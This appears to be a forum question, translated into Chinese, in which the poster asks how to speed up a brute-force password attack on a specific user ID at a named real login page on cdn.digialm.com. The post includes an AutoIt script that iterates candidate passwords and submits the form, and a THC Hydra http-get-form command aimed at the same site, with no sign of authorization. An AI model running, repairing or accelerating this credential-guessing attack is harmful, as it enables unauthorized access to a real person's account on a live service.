我有一个正确的用户名和该用户名的可能 6000 密码列表。我想尝试以下网站中特定用户名的所有可能密码。
https://cdn.digialm.com//EForms/configuredHtml/756/5055/login.html
我已经创建了一个 AutoIt 脚本来执行此操作,但是一次尝试需要太多时间。
> #include <IE.au3>
> #include <String.au3>
> #include <FileConstants.au3>
> #include <MsgBoxConstants.au3>
> #include <WinAPIFiles.au3>
>
> Call ("signIn")
>
> Func signIn()
>
>
>
> Global $oIE =
> _IECreate("https://cdn.digialm.com//EForms/configuredHtml/756/5055/login.html")
>
> # Loop From here $file = FileOpen("log.txt", 2)
>
> For $i = 600000 To 9999999 Local $username =
> _IEGetObjByName($oIE,"userid") Local $password = _IEGetObjByName($oIE,"confData") Local $button = _IEGetObjByName($oIE,"button1") $string = String($i) FileWriteLine($file, $string);
> _IEformElementSetValue($username,"6269644")
> _IEformElementSetValue($password,$string) _IEAction($button,"click")
> Sleep(1000) Next ;
> #to here EndFunc
谁能告诉我如何以更快的方式做到这一点。
我也尝试过 hydra,但它每次都返回文件中的所有密码都是正确的。我不知道这种语法有什么问题。
> D:\Thc Hydra Master>hydra -l 6269618 -P password.txt cdn.digialm.com
> http-get-fo rm
> "/EForms/loginAction.do?subAction=ValidateUser:userid=^USER^&confData=^PASS^:
> combination does not"
请帮忙。